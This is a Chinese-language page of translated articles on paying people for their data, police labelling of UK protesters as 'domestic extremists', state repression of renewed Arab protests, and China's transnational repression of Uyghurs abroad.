为了理解这件事，有必要记住“人工智能”这个概念本来是一种误称。**Messrs Weyl** 和 **Posner** 称其为“集体智慧”：大多数人工智能算法都需要在一个被称为机器学习的过程中使用大量的人工生成的数据进行训练。除非他们知道正确答案（由人类提供的）是什么意思，否则算法无法翻译语言，理解语音或识别图像中的物体。

因此，人类提供的数据可被视为一种为人工智能提供动力的劳动形式。随着数据经济的增长，这种数据工作将采取多种形式。其中大部分时候数据生产都是被动的，因为人们参与各种活动—给社交媒体帖子点赞，听音乐，推荐餐馆—都在不断产生为新服务提供动力所需的数据。但是，其中一些人的数据工作将更加活跃，因为那些数据可以作为培训 AI 系统的基础（例如标记图像或驾车通过繁忙的城市）。

然而，无论这些数据是主动还是被动生成的，很少有人有时间或倾向于跟踪自己生成的所有信息，更不用说对其估值。即便是这样做过的人也缺乏讨价还价的能力，无法从人工智能公司那里获得回报。

但劳动史提供了关于事物如何演变的暗示：因为从历史上看，如果工资上涨到可接受的水平，那主要是由于工会的努力。同样，Weyl 先生希望能看到他称之为“数据工会”的组织的崛起，这些组织充当了人

们数据的守门人。

与他们的前任一样，这些组织将协商费率，监控成员的数据工作并确保其数字输出的质量，例如保持声誉分数。工会可以向其成员提供专业数据工作，甚至组织罢工，例如利用阻止访问的方法对使用其成员数据的公司施加影响。

同样，数据联盟可以成为引导成员数据贡献的渠道，同时跟踪它们的使用并对从中受益的 AI 公司进行计费。

这一切听起来像是科幻小说吗？例如，谷歌和 Facebook 为什么要放弃目前使用免费数据销售有针对性的在线广告的监视资本主义商业模式？2017 年，他们共计获得了 1350 亿美元的广告收入。如果他们不得不补偿人们的数据付出，他们的利润就会低得多。与此同时，CitizenMe 和 Datacoup 这样的初创公司，可以视作为早期形式的数据联盟，但到目前为止未能取得多大进展。然而，在该行业的其他角落，科技巨头已经开始为数据付费，尽管他们小心谨慎，避免过多谈论这件事。大多数情况下，他们通过外包公司雇用大批评估人员和版主来检查其算法的质量，并删除非法或令人反感的内容。其他公司使用众包的方法，例如亚马逊的 Mechanical Turk，移交数据工作，例如标记图片。**Mighty AI** 是一家位于西雅图的创业公司，它向成千上万的在线工作人员付费，以标记用于训练为自动驾驶汽车提供动力的算法的街景图像。

更重要的是，如果 AI 和宣传的一样，它将导致对更多更好的数据的需求。随着人工智能服务越来越复杂，算法需要更高质量的数字信息的提供，人们只有在获得报酬时才能提供这些。

一旦有一家大型科技公司开始为数据付费，其他人就很可能必须紧随其后。

将数据视为劳动力意味着科技巨头的利润率可能会受到挤压，但他们的整体业务可能会变得更大。工人们将至少部分获得主动权。早晨他们可能首先检查自己所在的数据工会提供的仪表板，显示可用工作的个性化列表：从观看广告（计算机的相机收集面部反应）到将文本翻译成稀有语言，到探索虚拟建筑，看看它是多么容易导航。仪表板还可能列出过去的收入，显示评级并对新技能提出建议。

但是，仍然需要将个人数据广泛视为劳动力，并为此付出代价。

首先，需要正确的法律框架来鼓励新数据经济的出现。欧盟新的通用

数据保护条例已于5月生效，已经赋予人们检查、下载甚至删除公司所持个人数据的广泛权利。

其次，跟踪数据流的技术需要变得更加强大。目前计算特定数据到 AI 服务的价值的研究尚处于起步阶段。

第三，也是最重要的，人们将不得不发展出作为数据工作者的“阶级意识”。大多数人都说他们希望保护自己的个人信息，然后他们什么也没做继续付出数据，这就是“隐私悖论”。然而事情可能正在发生变化：智库皮尤研究中心（Pew Research Center）表示，超过 90% 的美国人认为控制谁可以获取自己的数据非常重要。

怀疑论者说，即使人们用他们的数据赚钱，他们也不会得到太多。例如，如果 Facebook 在其所有月度用户中分享其利润，那么每个用户每年只能得到 9 美元。但是这样的计算未能认识到数据时代才刚刚开始。人工智能通常被比作电力，当电气化开始于 **19** 世纪后期时，整个城市使用的电力只和今天单一家庭的用电量一样多。

这种数据经济不会不平等吗？有些人的数据肯定比其他人的价值更高。但 Weyl 先生认为，生成有价值数据所需的技能可能比您想象的更为广泛，因此数据工作可能会破坏人力资本的标准层次结构。

无论如何，社会必须找到一种机制来分配人工智能创造的财富。目前绝大部分数据都被垄断了。 Weyl 警告说，除非这种情况发生变化，否则社会不平等可能会恢复到中世纪水平。如果发生真的这种情况，终有一天，世界上的数据工作者将团结一致，发起抵抗。

"What if people were paid for their data? "Advocates of “data as labour” think users should be paid for using online services

原文

我被警察折磨至精神崩溃：现在我必须爬起来战斗 - iyouport

反抗者-寻求经验维稳面面观

【2019年10月23日存档】可以立即停止这种噩梦吗？不一定；但是必须战斗。正义不会被等来，它只能通过无畏的战斗获得。

卫报发表了一封来自152名政治家、律师、学者、记者和活动家的联署公开信，呼吁警方停止将示威者列为“国内极端分子”。

事情是这样的，《警察将活动家称为“国内极端分子”的五个荒谬理由》

我是签署这封信的人之一 —— 我就是警察称之为国内极端分子的人之一。

我是一名反军售活动家。

根据警方档案，我第一次进入所谓的 “国内极端分子”数据库是在1999年，当时我因试图阻止武器交易商前往交易会而被捕。

我的切身体会足以了解这个标签所造成的损害，以及它应该被废除的原因。

这封公开信的其他签署者也在那个国内极端主义数据库中。

其中包括环保活动家 Jenny Jones，作家兼表演者 Mark Thomas 和 John Catt,，John 是唯一一位成功的挑战者。

John Catt 已经**94**岁，在长达七年的法律战后才取得了这一成绩。**Catt** 参加了许多抗议活动，但从来没有刑事定罪，他发现警察已经**66**次保存了有关他的信息 。

这封警察监测网络（Netpol）组织的公开信中写道：

将合法的言论自由和异议归为“国内极端主义”，恐吓和阻止人们参加抗议活动，限制他们行使集会和结社自由权利的能力。这种现象不能继续存在了。

Netpol 组织目前正在开展一项废除国内极端主义标签的活动。

正如 Netpol 组织的协调员凯文·布洛（Kevin Blowe）在“金丝雀”（Canary）的一篇客座文章中所指出的，活动家们非常容易被贴上国内极端主义标签。这是为什么我非常乐意签署 Netpol 公开信的众多原因之一。

因为在 Blowe 描述的五个典型类别中我一个人就占据了三个：我被视为组织者、参与了挑战公司利益的活动、并参与了非暴力直接行动。

请注意，这不仅仅意味着你的一切被纳入了一个糟糕的警察数据库，更有，警方会对所谓的“国内极端分子”做些什么。

我曾多次写在文章中强调过这点。该标签基本上意味着你成为了警察的重点骚扰对象。意味着任意逮捕。意味着成为任意拦截和搜查的目标。

多年来，我在参加抗议期间和之后一直在遭受警方的滋扰；警察出现在我家门口；高级警察威胁要‘把我抓进去关很久’。

⚠并且，我最好的朋友之一竟然被发现是**BAE系统的间谍** —— 我身边不同程度的朋友中至少有五名卧底警察。

警方的暴力和骚扰已经严重影响了我的生活，至少两次危机。

第一次，我最终在急诊室里，喝了太多导致吐血、出现危险的低血压，出现幻觉，把医护人员看成了警察……

第二次我的身体彻底垮了。我的精神状况已经完了，对身体症状的反应使我不得不停止反抗事业。这是一种极大的折磨。

并不是说在国内极端主义数据库中整理的信息甚至是准确的。

我只看到了关于自己的部分文件，就从中发现了多个错误。例如，他们把我从来没有参加过的抗议活动也写入我的名下了。

更重要的是，信息受到了操纵。

叙述本身就不是中立的。它的目的是给我画上一个败坏的形象，作为一个积极的暴力麻烦制造者。

因此，例如，我的档案中包含了几起涉嫌袭警的事件。但是，并没有写明事实是指控被撤销我被判无罪；也没有写明在那些事件我后成功起诉了警察；我收到的赔偿金以及警方对我们所做的事的道歉都不包括在内。

该数据库只是警察创造的一个神话；他们创造的图片只是证明了他们的工作和标签，但与现实不符。

这非常危险。因为警方对我的叙述直接影响了我遭受监视的方式、如何进行保释评估、以及我在街头有可能遭遇的危险。它变成了一个恶性循环。

在 Catt 案的法律挑战之后，Blowe 告诉 The Canary：

> 抗议的自由受到不断的、不必要的和侵入性的监视的威胁，裁决承认这种监视会对社会参与产生寒蝉效应。

⚠确实如此。我们更难以动员人们了。人们告诉我们，由于警方的监视，他们不再参加抗议活动了。

人们看到了我过去遭受过的警察骚扰，他们害怕自己也遭受同样的事。

但“令人不寒而栗”的影响则更进一步。

阅读警方关于你的文件非常令人不寒而栗。当你意识到自己和警察在街上交谈了两分钟的时候，脊背都会发冷。你会怀疑一切都与警察有关。

但是，⚠当我意识到连我儿子的名字也被包含在关于我的警察档案中时，那种寒意直接变成了纯粹的冰。

我不是罪犯。在那个数据库里我与一些我见过的最勇敢的人并排在一起。我们都没有犯下任何严重的罪行。

我们被放入这个数据库只是因为我们都相信自己可以争取到一个更美好的世界，我们不能只是坐下来不做任何事就能等到一个美好的世界。

但这并不是所有的厄运和沮丧。我们还可以反击。

我们不仅可以反击，我们还要赢得这场战斗。

就如 Blowe 所说：

我们被问到，作为一个小型组织，要求警方完全停止对活动家使用“国内极端分子”标签，这在很大程度上是象征性的，我们是否真的有机会实现这种改变？

我坚信我们可以赢得这一点。仅仅内政部否定这个标签是不够的，我们必须更进一步，我们停止警察利用反恐的借口打击异议。反恐和针对合法政治异议的攻击之间不应该有任何联系。

我们还需要更好的法律保护，让活动家能够避免在抗议活动中遭受监视。现在的警察几乎可以随心所欲。

我们可以阻止警察做“他们想要的任何事”。每个想要生活在真正民主中的人都应该参与这场运动。

任何参加抗议的人都不应该遭受警察的监视和骚扰。

抗议不是恐怖主义。试图让世界变得更美好的人不应该在警察的数据库里。〇

Here’s why I’m one of 152 people who want the police to stop labelling protesters as domestic extremists

原文

抗议活动正在阿拉伯世界卷土重来，但是这次... - iyouport

维稳面面观

【2019年7月9日存档】阿拉伯会有第二春吗？这一次和上一次已经截然不同，人们很难再通过互联网有效组织和传播消息，这一次的背景有什么变化？

阿拉伯之春的口号又回来了。“人民希望政权滚出，”在阿尔及利亚成千上万的抗议者咏诵着这一口号，希望结束阿卜杜拉齐兹布特弗利卡20年的统治。

人们的呼声在苏丹得到了回应，三个月的示威活动震惊了领导人奥马尔·巴希尔30年统治的政权。伊拉克、约旦、黎巴嫩、摩洛哥、突尼斯和巴勒斯坦领土的抗议者最近也要求更好的治理。在该地区的专制主义者强行镇压五年之后，阿拉伯的街头正在恢复其声音。

这促使人们开始谈论阿拉伯之春的续集。与2011年一样，抗议活动是自发的、包容性的、同时也是无中心的。同样的不满加剧了今天的骚乱。但与当年相比其背景可能更加不同。

阿拉伯之春之后的战争和混乱已经冷却了活动家及其地区赞助人的热情。与此同时，独裁者已经加强了他们的压制工具，以便在国内全面消除抗议并阻止其他地方的抗议活动蔓延。乔治华盛顿大学的马克林奇说：“他们重新整理了整个地区，试图阻止另一个阿拉伯之春”，乔治华盛顿大学的 Marc Lynch 说。

土耳其、伊朗和卡塔尔在2011年帮助推动了革命的蔓延，但他们的地区野心已经落后于他们自己的安全问题。在2013年的抗议活动和三年后的未遂政变之后，总统雷杰普·塔伊普·埃尔多安（Recep Tayyip Erdogan）加强了对土耳其的控制。他曾经吹捧的“伊斯兰倾向民主模式”越来越像他讽刺的威权主义。伊朗领导人急于煽动阿拉伯之春的火焰—— 直到它威胁要在叙利亚焚烧他们的盟友巴沙尔阿萨德。该政权现在也受到了国内抗议活动的震撼。不过，卡塔尔已经实现了最

大的转变。在邻国的围攻下，它需要所有*可以收买到的朋友*。该国在2月份接待了巴希尔并对阿尔及利亚的麻烦保持沉默。

八年前，卡塔尔卫星电视网络半岛电视台是阿拉伯之春的肥皂盒。凭借其滚动的报道和激动人心的宣传，它鼓舞了民族抗议并创造了一个全区域的叙事。

但半岛对阿尔及利亚和苏丹（阿拉伯世界第二和第三大人口国家）的动荡的报道微不足道。主持人将抗议活动描述为阿拉伯世界边缘的孤立事件。一些人强调了阿尔及利亚的语言特点（它的方言对许多阿拉伯人来说是不可理解的）。阿布扎比的阿拉伯媒体监察员 Abu Dhabi 说："他们故意将这些点断开连接。"

一直以来一直在改变的暴君已经打击了独立媒体。信息部门在决定头条新闻，禁止外国记者和骚扰不合作的当地人。调查记者和那些批评政权的人经常在国家媒体上被谴责为"恐怖分子和叛徒"。有些人受到折磨。沙特阿拉伯还建立了一个"快速干预小组"，以追捕那些逃离被捕的人，例如前沙特报纸编辑 Jamal Khashoggi，他在伊斯坦布尔的沙特领事馆被谋杀和肢解。

社交媒体—— 当年阿拉伯之春的发电机，再次将人群带到街头。阿尔及利亚是该地区 Facebook 使用率最高的国家之一，也是技术含量最低的政权。"缺乏知识留下了空白，"负责该地区 Facebook 政策部门的 Ashraf Zeitoon 表示。

尽管如此，并没有引人注目的标签连接不同国家的抗议活动，而且更加敏锐的独裁者已经将社交媒体转化成了自己的优势。

沙特阿拉伯和其他海湾国家已经建立了trolls农场（办公大楼充满了这些雇佣trolls，为数百个虚假的社交媒体账户提供服务）还有大量的机器人，以传播官方叙事的要点。通过恐吓、间谍软件威胁、黑客攻击、滥用评论、或简单地逮捕，当权者已经成功减少了反对的信息。

各国政府也加强了他们过时的镇压手段。在阿尔及利亚最大的抗议活动前夕，埃及总统 Abdel-Fattah al-Sisi 警告全面抵制"骚乱"。

巴林的一名政治人物最近因呼吁巴希尔下台而被判入狱六个月。

许多国家对大型集会实行了彻底的禁令，而在阿拉伯之春后为允许政府围捕潜在的"暴徒行为"，制定了措辞含糊不清的法律。

人权观察组织的 Sarah Leah Whitson 说："即使是针对小规模的、具

有象征意义的抗议活动，使用实弹也可以有效地将异议减少到零。”

对于今天的抗议者来说，减少联系并不一定是坏事。阿尔及利亚和苏丹的人为自己的独立和民族主义感到自豪。至少现在，他们正在表现出纪律并拒绝暴力。

“我们不是叙利亚或利比亚，” 人们在阿尔及利亚的街头呼喊着口号，而自私的领导人则警告混乱和流血事件。抗议者没有回家的迹象。伦敦智库国际战略研究所的 Emile Hokayem 怀疑他们可以说：“街头抗议的潮起潮落是该地区的新常态。”

IYP 一直在特别强调警惕互联网尤其是社交媒体对抗议活动的反咬——抗议必须一次性成功，如果不能成功，同样帮助人们组织起来的互联网媒介也会立即变成所有人的枷锁。避免这种状况的前提正是：所有参与者都应该掌握匿名安全和隐藏信息的基本技术。具体方法详见我们的菜单“How To Win”。

重申密码朋克的见解：

「图」

Protests are making a comeback in the Arab world. But there are reasons they haven’t gone viral, WHY?

原文

无处可逃：中国对维吾尔人的跨国镇压 - iyouport

维稳面面观

跨国镇压可以针对任何人。这是全球威权主义崛起的一部分。

本文希望再一次强调，跨国镇压是一种越来越恶劣的全球现象，尤其是，同一套机制可以跨国抓捕任何人 —— 不论是经济罪犯还是政治异议，只要统治阶级想要，他们就可以做到。所以，真正危险的是这套机制，是什么在令其有效？这个问题的答案才是对跨国镇压的真正解决方案。

- 如果您错过了《是谁在帮助这些专制政府对异议人士进行跨国镇压》

I. 执行摘要

「图」

本报告是为了帮助人们了解中国在境外针对维吾尔人压制异议的手段。Oxus 中亚事务协会与维吾尔人权项目合作，从政府文件、人权报告和可靠的新闻机构的报道等公开资料中收集了中国跨国镇压维吾尔人的案例，以建立对中国全球镇压的规模和范围如何扩大的详细分析。

自1997年以来，中华人民共和国（PRC）进行了规模空前的跨国镇压，其范围已达全球28个国家。中国对维吾尔人的跨国镇压数据集研究了1997年至2021年3月的1,546起拘留和驱逐案件，并对中国政府跨越主权边界控制和镇压维吾尔人的范围和演变提供了重要见解。

报告的数据发现，全世界至少有**28**个国家与中国共谋骚扰和恐吓维吾尔人，其中最引人注目的是中东和北非大部分地区的647起案件，以及南亚地区的665起案件。该数据集包含1151个维吾尔人在其东道国

被拘留的案例，以及395个维吾尔人被驱逐、引渡或送回中国的案例。

中国对维吾尔人的跨国镇压一直在持续上升，并随着2017年起在新疆维吾尔自治区开始实施大规模监控制度而急剧加速，显示出国内外镇压的关联性。

在中国不断发展的跨国镇压体系的第一阶段，从1997年到2007年，共有来自9个国家的89名维吾尔人被拘留或送往中国，这些国家大多位于南亚和中亚。在第二阶段（2008–2013年），来自15个国家的130人被镇压。目前正在进行的第三阶段（2014年至2021年3月的数据收集结束），共有来自20个国家的1327人被拘留或被引渡。未报告的案件可能会大大增加曾经报告的这些数字，由于此次调查依赖公开被报告的镇压事件，因此很可能，此数据库所呈现的只是冰山一角。

- 跨过镇压是一种全球现象。如果您错过了《是谁在帮助这些专制政府对异议人士进行跨国镇压》

国际组织和东道国政府，特别是那些与中国有密切政治和经济关系的政府，往往会成为中国对维吾尔人进行跨国镇压的同谋，其中受害人在国外寻求庇护。

中国的跨国镇压只是全球威权主义大趋势的一部分，它有可能侵蚀全世界的民主规范。阻止中国的跨国镇压是一项道德义务，对维护国家主权和国际刑警组织和联合国难民事务高级专员署（UNHCR）等国际组织的完整性至关重要。

收容维吾尔族侨民社区的国家可以采取具体措施，打击中国的跨国镇压，保护维吾尔人和其他弱势人群。各国政府可以拒绝引渡维吾尔人，增加难民和移民配额，并限制助纣为虐的网络，包括科技公司，以及作为中国政府幌子的侨民团体和组织。

本报告描述了跨国镇压以及中国政府使用的主要行为者和方法。然后，报告追溯了中国镇压运动的演变，显示了在“一带一路”倡议启动后，这一运动的重点如何从中亚和南亚转移到东南亚，再转移到中东地区。

为了抵制中国的全球镇压，奥克斯协会和UHRP建议如下：

- 通过增加配额和简化程序，加强难民安置计划，允许维吾尔人

离开与中国合作的第三国；
- 限制监控技术的出口，因为这些技术可以在没有正当法律程序的情况下用于监控弱势社区；
- 通过提高开展跨国镇压活动的成本来加强问责制。

II. 简介

「图」

2019年3月，哈萨克斯坦安全部门将谢里赫詹·比拉什从他的酒店房间拖了出来。比拉什是一名哈萨克族活动家，他通过在阿拉木图的人权组织 Atajurt 工作，为世界提供了一个窗口以了解中国大规模拘禁维吾尔族和其他突厥人口的行为。

被指控对中国人民 “煽动种族纷争” 的比拉什于2019年8月被释放。获释后，他告诉聚集在阿拉木图一家法院外的支持者，他的自由是 “人民的胜利”。然而，北京似乎才是真正的胜利者。为了确保他的自由，比拉什不得不接受出于政治动机的指控，并停止他的活动。一旦被列入黑名单，他就面临持续的骚扰，包括冻结他的银行账户和扣押他的汽车。后来，他临时移民到土耳其，然后到了美国，截至2021年6月，他一直住在那里。

- 如果您错过了《为什么反而是独裁者赢了？》

比拉什的案件标志着中国在全世界的影响力越来越大，并让人们了解到中国是如何管理话语权的。比拉什的案例也说明了中国对海外维吾尔族地区的突厥人和以穆斯林为主的民族群体成员施加影响的程度。

自1997年巴基斯坦出现第一起将维吾尔人引渡到中国的案件以来，中国的跨国镇压已经扩大到了包括从间谍活动、网络攻击和人身攻击，到通过国际刑警组织（一个协调世界各地警察活动的组织）发布红色通缉令的全部活动。

1997年至2016年12月期间，中国参与了在23个国家超过851名维吾尔人的拘留或驱逐回中国。自2017年以来，作为在所谓的人民反恐战争和打击暴力恐怖活动框架下在新疆维吾尔自治区进行的更广泛安全扫荡的一部分，中国针对海外维吾尔人的行动急剧扩大。自2017年以来，至少有695名维吾尔人被拘留或从15个国家被驱逐到中国。

中东地区在中国的跨国镇压中发挥了特别令人震惊的作用。从2017年7月初开始，200多名维吾尔人，其中许多是爱资哈尔的宗教学生，在

维吾尔餐厅被围捕后被拘留在埃及。

在此次调查发现的许多案件中，维吾尔人的亲属被迫给这些在国外的学生打电话，要求他们返回中国。作为新措施的一部分，中国安全部门通过了一份黑名单，其中包括26个被认为与新疆维吾尔自治区居民有联系的“可疑”国家。黑名单上的国家包括中亚、中东、东南亚和南亚的国家，这使得中国政府对这些国家施加外部压力以满足其要求的行动升级。

此调查报告采用了一个全面的新数据库—— 中国对维吾尔人的跨国镇压数据集，这是 Oxus 中亚事务协会和维吾尔人权项目（UHRP）的一项联合行动，它记录了世界各地政府与中国合作逮捕、拘留、恐吓甚至引渡逃离新疆维吾尔自治区的维吾尔人和其他民族人口的案件。

该数据库包含了27个国家的300个跨国镇压案件的详细信息，以及28个国家的1546个案件的上限估计，这些数据是根据补充数据得出的，其中此次调查只找到了目标个人的有限传记信息。在更详细的案件中，有96起是维吾尔人在东道国被东道国政府拘留的案件，204起是维吾尔人被驱逐、引渡或送回中国的案件。在1,546起上限估计案件中，1,151起是维吾尔人在其东道国被拘留的案件，395起是维吾尔人被驱逐、引渡或引渡回中国的案件。

该数据库和本报告是迄今为止发表的关于中国针对新疆维吾尔族人的全球运动的最完整描述。

III. 跨国镇压和维吾尔人

「图」

2019年，全球估计有2.72亿移民，其中1200万来自中国，中国是世界第三大移民输出国。虽然输出国可以从移民中获益，因为移民人口通过汇款支持经济，或在国外获得教育，可以用于社会服务，但专制国家尤其倾向于将移民视为潜在的威胁。

在边界之外，公民可能有更多的自由来表达对本国政府的批评，与志同道合的人建立联系，并在国内倡导变革。一些研究探讨了专制国家如何通过针对生活在国外的公民进行跨国操纵来平息这种批评和倡导，这一过程被 达娜·莫斯（Dana Moss）称为“跨国镇压”，被约西·沙因（Yossi Shain）称为“反流亡战略”。

镇压是“其他团体采取的任何提高竞争者集体行动成本的行动”，以促使竞争者改变他们的行为。国家镇压通常是在领土方面定义的。例如，克里斯蒂安·达文波特（Christian Davenport）将镇压定义为“在国家的领土管辖范围内，对个人组织实际或威胁使用身体制裁”。但跨国镇压迫使我们超越这一国内焦点，关注政府如何针对其居于海外的公民。

过去五年来，关于跨国镇压的文献大量涌现，作者们研究了叙利亚、中国、厄立特里亚、中亚、和伊朗的独裁政权如何针对其海外民众。学者们描绘了跨国镇压的“操作规程”，从日常监视和恐吓到更特殊的暗杀和引渡。其中包括一个区域性的数据集—— 中亚政治流亡者数据库，以及两个全球性的数据集 —— 海外威权行动数据库（AAAD）和自由之家。但是，虽然中国在后两个数据库中占有突出的地位，但还没有任何研究汇编出一个全面的数据集，来说明中国是如何针对海外维吾尔人的。

将异见人士和反对派团体作为域外目标的做法并不是一个新现象。在20世纪，许多国家利用渗透、秘密警察和暗杀等策略来控制反对派运动和流亡者。突出的例子包括1940年在墨西哥暗杀托洛茨基和1978年在伦敦用毒伞谋杀保加利亚异见人士乔治·马可夫 (Georgi Markov)。

然而，有证据表明，国家正在利用跨国镇压来压制国外的批评者，并越来越频繁地针对侨民。

这是由三个因素造成的：(1）移民带来的行动主义全球化；（2）数字通信的发展；以及（3）针对海外反对派的双边和多边合作机制的扩散，如国际刑警组织和上海合作组织（SCO）等区域组织。

这些发展结合在一起，提高了政权对流亡者所构成的“威胁”的认识，并为政府提供了更多针对海外公民的机会。

重要的是，使用跨国镇压的规范性成本已经下降，专制政权能够实施诸如在伊斯坦布尔谋杀沙特阿拉伯记者贾马尔·卡舒吉、和在英国毒杀斯克里帕尔夫妇的行为，甚至负面影响很小。

在最近一份关于跨国镇压的报告《看不见，摸不着》中，自由之家记录了2018年以来全球608起跨国镇压事件。报告指出，中国是世界上使用跨国镇压最多的国家，在36个国家发生了214起跨国镇压事件。全球来自中国的“海外公民”人口在1000万至5000万之间。中国共产党（CCP）仍然认为这些非汉族的海外居留者是“中国人”，其依据是

“中华民族” 这一概念和官方的 “民族团结” 话语。即使中国将这些海外华人视为加强中国软实力、发展贸易和投资关系的潜在盟友，它也将他们视为需要控制和压制的潜在威胁。

近年来，中国的海外影响力与反腐运动同步增长。“猎狐行动” 于2014年公布，作为习近平在国内追捕 “老虎和苍蝇”（即中共最高和最低级别的腐败官员）的国际对应措施。据报道，该行动涉及2000名人员的协调努力，派出70多个警察小组到国外追捕 “经济逃犯”。第二次行动被称为 “天网行”，于2015年4月启动。截至2017年底，“天网” 和 “猎狐” 行动共抓获了来自70多个国家的约4058名逃犯。“天网” 和 “猎狐” 行动使中国政府进一步发展了其针对海外公民的能力。这些经验反过来又帮助中国政府完善了针对生活在国外的 “有问题” 民族成员的行动，包括针对维吾尔族。

IV. 方法论

「图」

中国对维吾尔人的跨国镇压数据集包含了自1997年以来中国对维吾尔地区的维吾尔人进行的跨国镇压事件，当时第一批引渡案件被公开记录在案。该报告根据公开材料编制了数据集，而不是根据对目标个人的采访披露私人信息。这种方法在道德上是合适的，也是可行的，因为对专制环境进行研究非常困难，政府会不遗余力地隐藏和操纵真相。

此次调查采用了一种多阶段的方法来确定相关案例。首先，汇编了现有的关于中国境外维吾尔族人和其他维吾尔族人被攻击的报告，包括大赦国际、人权观察、欧洲安全与合作组织（OSCE）、世界维吾尔大会（WUC）和UHRP的报告。第二，通过对当地的新闻服务机构，包括自由亚洲电台（RFA）和 Factiva、ProQuest 和 BBC Monitoring 等新闻通讯社的关键词搜索来补充这些信息。第三，根据自由之家编制的全球跨国镇压的现有数据集，核实并填补了数据集的缺失。最后，调查者与侨民和宣传团体合作，核实案件中的信息。

为了确定数据收集的可靠性，此次调查使用了三角测量法，即使用多个独立的数据来源来确定信息的真实性和准确性。调查者对公开来源的依赖意味着，虽然确实呈现了一个相对详尽的公共记录，但并不声称该数据集是全面的。正如有关居住在中国境外的新疆维吾尔族居民被大规模逮捕的报道所表明的那样，该数据集中的案件仅仅是中国跨国镇压的冰山一角。

纳入标准：

- 被针对的人位于中华人民共和国领土之外；
- 来自新疆维吾尔自治区的非汉族成员，包括维吾尔人、哈萨克人、吉尔吉斯人和塔吉克人；
- 被中国政府或其代理人列为目标。

排除标准：

- 在包括中国在内的被自由之家列为 “不自由” 的国家被指控犯有恐怖主义和极端主义罪行的人，这些国家有关恐怖主义罪行的法律程序不能被视为坚持高标准的法治。

此次调查还使用了中亚政治流亡者（CAPE）数据库采用的跨国压迫三阶段模型，以评估本调查数据库中记录的不同案例。

按照CAPE的做法，此次调查根据这三个阶段，用3分制来衡量跨国压迫的程度；然后，给每个案例在1 ~ 3之间打分，3代表最严重的跨国压迫形式。许多个案包括跨越不同阶段的压迫形式。调查者为数据集中的案件指定的阶段是目标个人据说经历过的最严重的阶段（而不是完全代表他们所经历的每个阶段的压迫）。并非所有的案件都是以线性方式通过这三个阶段的，因为有些案件直接跳到了第二阶段或第三阶段。Image 1: Three-stage model of transnational repression adopted by the Central Asia Political Exiles (CAPE) database. Image by UHRP.

在本报告中没有包括第一阶段的事件，因为调查者仍在收集关于这些数量众多且往往未被报告的案件的数据。自2017年以来，中国开始了一场史无前例的大规模镇压运动，估计有180万维吾尔人和其他人被拘留在拘留营、监狱系统或劳改营中。这场运动非常广泛，现在几乎每个维吾尔侨民都有家人被警方拘留，很难确定维吾尔地区的家庭成员被围捕是作为跨国镇压的目标（例如为了报复国外家庭成员的行为），还是作为快速扩张的大撒网的一部分。甚至与反对派成员有联系的散居国外的成员，现在被迫为被拘留的亲属代言，使监视和恐吓的循环升级。然而，此次调查确实选择了包括 “自愿” 回国的案例，即 政府通过微信上的信息或亲属的电话鼓励侨民回国，但在抵达时却被逮捕。

V. 跨国镇压的机制

「图」

中国的跨国镇压是全面和广泛的，包括间谍活动、网络攻击和威胁，以及人身攻击和引渡。据大赦国际称，中国的跨国镇压活动已经扩展到生活在海外的维吾尔人。该倡导组织采访了400名维吾尔人、哈萨克人、乌兹别克人和居住在22个国家的中国其他非汉族人口成员，以了解他们每天所面临的恐吓和骚扰。在这400名受访者中，有21人称面临使用应用程序和恶意软件的恐吓，39人称收到中国政府官员的威胁或恐吓电话，181人称因在维吾尔地区发表人权言论而受到威胁，26人称收到代表党国对其散居社区进行监视的要求。大赦国际的调查表明，中国政府采用了各种技术和策略来骚扰、恐吓并最终控制生活在维吾尔地区以外的维吾尔人和其他突厥穆斯林人口，以及这些胁迫和控制的努力是多么的广泛。

这份报告仅限于第二阶段和第三阶段的跨国镇压案例，旨在对中国的海外镇压进行更全面的描述。它描述了北京全球运动的全部内容，为数据所揭示的趋势提供了重要的背景。

中国针对维吾尔族的全球运动涉及五种类型的肇事者；1）中国国家机构，2）侨民团体，3）公民个人，4）国际组织，以及5）外国政府。

中国的安全机构

「图」

参与跨国镇压的主要机构是与中共有关的强大的内部安全部门，包括国家安全部（MSS）、公安部（MPS），甚至是人民解放军（PLA）。正如自由之家指出的那样，维吾尔人在海外受到的迫害往往是由国家安全部策划的，而公安部在恐吓居住在海外的非汉族人的中国家庭成员方面更为活跃。

2019年11月，国际调查记者联盟发布了一系列泄露的中国政府文件。这些文件被称为“China Cables”，详细介绍了劳教所的运作、大规模监控的使用，以及国家主导的控制维吾尔族和其他海外非汉族社区的努力。学生尤其面临着回国后被逮捕的风险：“对于那些仍在境外、不能排除恐怖主义嫌疑的人，将由专人进行边境管制，称为确保他们在越过边境时被逮捕”。

这一政策产生了破坏性的后果。2017年5月，中国政府向在埃及求学的维吾尔人发出命令，要求他们返回维吾尔地区。虽然一些学生拒绝了，后来被埃及政府逮捕，但其他学生自愿返回，随后也被逮捕。2017年冬天，来自吉尔吉斯斯坦众多大学的54名学生和教授从吉尔

吉斯斯坦前往新疆维吾尔自治区过寒假。所有54人都因被监禁或禁闭而无法返回，其中至少有20人因未支付学费或未完成课业而被吉尔吉斯斯坦国立大学开除。

统战工作

「图」

中国经常协调其海外镇压，作为统战系统的一部分，用于收集情报和影响境内外的个人和组织。中国境外的统战工作 —— 部分由中共统战部协调—— 包括地区侨团、学生团体和学术机构等。在压制海外维吾尔族活动方面发挥作用的组织包括（但不限于）海外华人协会、新疆海外交流协会和中国伊斯兰教协会，它们与目标国家的数千个民间社会组织协同工作。

在巴基斯坦，华侨华人协会在监督该国的维吾尔人方面发挥了主导作用。拉瓦尔品第是该国大部分维吾尔族人居住的地方，华侨华人协会在那里分发登记表，据说是为了让巴基斯坦维吾尔族人参加中国大使馆开办的学校和活动。

巴基斯坦的活动人士说，这些名单是中国加强胁迫的工具，而我们在该国已经记录了50起非法引渡或拘留案件。中国伊斯兰教协会在为新疆维吾尔自治区居民组织宗教朝圣活动时也引起了争议。

2018年，有报道称朝觐者脖子上戴着中国政府提供的追踪器。中国伊斯兰教协会发表声明称，“追踪器完全是为了保障朝觐者的安全”。学生组织也引起了国际社会的关注，世界各地都有许多关于维吾尔族演讲者在会谈中被骚扰，或关注新疆维吾尔族人权的活动被强迫关闭或中断的报道。

散居国外的间谍和线人

「图」

中国跨国镇压的一个重要组成部分是通过招募生活在国外的维吾尔人对当地的维吾尔侨民社区进行间谍活动来进行恐惧和恐吓。这种做法在世界各地已经存在了几十年。

